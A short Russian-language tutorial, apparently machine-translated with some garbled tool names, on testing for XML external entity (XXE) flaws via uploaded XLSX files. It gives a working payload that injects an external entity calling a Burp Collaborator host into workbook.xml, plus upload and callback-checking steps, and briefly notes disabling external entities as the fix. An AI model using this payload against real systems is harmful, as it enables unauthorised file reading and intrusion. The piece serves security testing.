Уязвимость внешней сущности XML (XXE) заключается в том, что при синтаксическом анализе структуры XML-документа, называемой определением типа документа (DTD), можно определить собственные XML-сущности. В зависимости от обработчика XML на стороне сервера и конфигурации среды этот тип уязвимости может использоваться по-разному. Начиная со перечисления каталогов в системе, чтения файлов приложения и системы, получения зашифрованного пароля пользователя приложения, а также передачи файлов на сервер или выполнения системных команд.
Классический сценарий этого типа уязвимости предполагает, что мы имеем дело с запросом, содержащим в нашем теле xml, к которому мы добавляем часть, ответственную за определения нашей собственной сущности. Однако эта уязвимость также может возникнуть при работе с приложением, которое каким-то образом обрабатывает файлы Excel. XLSX , Слово . DOCX или PowerPoint . PPTX. Мы обязаны этому тому, что эти типы файлов являются OOXML-совместимыми, поэтому они просто упакованы несколькими файлами. XML.
Сценарий быстрой атаки выглядит следующим образом:
- Создайте новый пустой документ . XLSX. Для этой цели он может использовать «Google Sheet».

2. Открыть Burp Suite Профессиональный -> Отрыжка -> Клиент Соавтора Отрыжки. Затем нажмите кнопку «Копировать в буфер обмена». В моем случае адрес сервера был следующим — lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
В качестве альтернативы, если у вас есть внешний IP, вы можете использовать простой HTTP-сервер на python — "python3 -m http.server 8080".
3. Откройте загруженный файл с помощью 7zip.

3. Отредактируйте файл "workbook.xml" в каталоге "xl", добавив следующий код (разумеется, заменив адрес сервера своим собственным):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
ПРИМЕЧАНИЕ — В одном из тестируемых я приложений уязвимость xxe выявилась после редактирования "[Content_Types].xml", поэтому стоит проверить этот файл.


4. Сохраните изменения и загрузите файл в тестируемое приложение.
5. Теперь проверьте клиент Collaborator на наличие любых запросов:

6. Наслаждайтесь 🙂 — вы только что подтвердили уязвимость xxe в тестируемом приложении и можете приступить к дальнейшему ее использованию.
Общей функцией безопасности в отношении XXE является полное отключение загрузки внешних сущностей в синтаксический анализатор XML.